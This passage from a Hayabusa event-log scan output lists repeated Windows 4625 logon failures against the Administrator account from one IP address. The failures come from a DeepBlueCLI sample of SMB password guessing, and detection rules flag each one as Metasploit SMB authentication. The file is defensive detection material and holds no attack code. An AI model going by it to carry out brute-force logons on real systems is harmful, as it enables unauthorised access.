Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.993 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XhHRuZYlH8hekaKc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.993 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.026 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZGIUBFRMQ3OBbOA0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.026 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.077 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: R7CTT5g1w58eRRlS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.077 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.117 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JmVccmad66uOK9ox : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.117 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.163 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: t1jlT6kEcs14dcNZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.163 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.209 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rBty5jOGkkZSZEyD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.209 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.245 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0Ci7YUsO5MtFkDSW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.245 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.347 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 12JToliq9mmAuMTQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.347 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.381 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lw9AgAvBGWoXBlim : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.381 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.418 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ReGDyvRpGknAKqqB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.418 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.469 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6mdUn8na4asRfpJP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.469 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.528 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b7Wm5p4HnNCbkyh2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.528 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.585 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MQZwerVd6E08X8Ou : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.585 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.625 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dbDjtLKoX5Q77bn5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.625 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.669 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O7BNKHiPjzJKCaDk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.669 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.714 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HHqBI8bzZn5VO9gq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.714 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.757 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Xz2ZO3b3QSh6Rdqt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.757 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.797 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IEfdhrwbTfCpCXKC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.797 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.844 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kc0LuQzAmQTIF1X3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.844 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.896 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WMZ70YmzpVp2h8mY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.896 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.945 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FFVr3Amq6mA3umiu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.945 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.985 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hnN15vqZcww8pqTK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.985 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.027 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sSuMRF1txQ9g2Mwi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.027 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.073 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tUuapChhs4CGO1cS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.073 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.119 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dIMr0hjIkwD8AaEG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.119 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.173 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8ww9HMQX0cqmolYQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.173 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.210 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XJRRZ5e9lARVZDar : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.210 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.260 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VvUzVoSLqFPAXSWE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.260 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.304 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SMMgPu1VJIjAWPDW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.304 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.337 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I1JjIa4nOKDTLuAD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.337 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.377 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0J0GJIm1UUXHH9QJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.377 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.419 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YmVX3xIz0hrQFvPr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.419 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.470 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nv4tKFEmHjiXkVDI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.470 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.500 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: esdHHJl9LBek9pIo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.500 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.545 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MWofwwLjwiyBk39P : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.545 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.589 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dvsHFZe7Z1uJ9Dkv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.589 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.629 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8aDdgwvb1zsZF79k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.629 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.668 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AQUb6CnMUtyrMNhF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.668 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.701 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KP5OxHPsbLHnIUBE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.701 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.744 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ysg903vYFhQHYvFJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.744 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.793 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IySarHtsTvwSP56H : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.793 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.828 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GnUy8tbCIAVnmhDg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.828 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.863 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bfBtc4MnMtPG6MpC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.863 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.901 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 37b8MGIHY8QwXf9K : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.901 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.945 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eDuaWikplDmJNmIE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.945 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.989 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0kSSoAYJILHCPI7K : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.989 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.023 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: L9ikrtTGcZYU1556 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.023 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 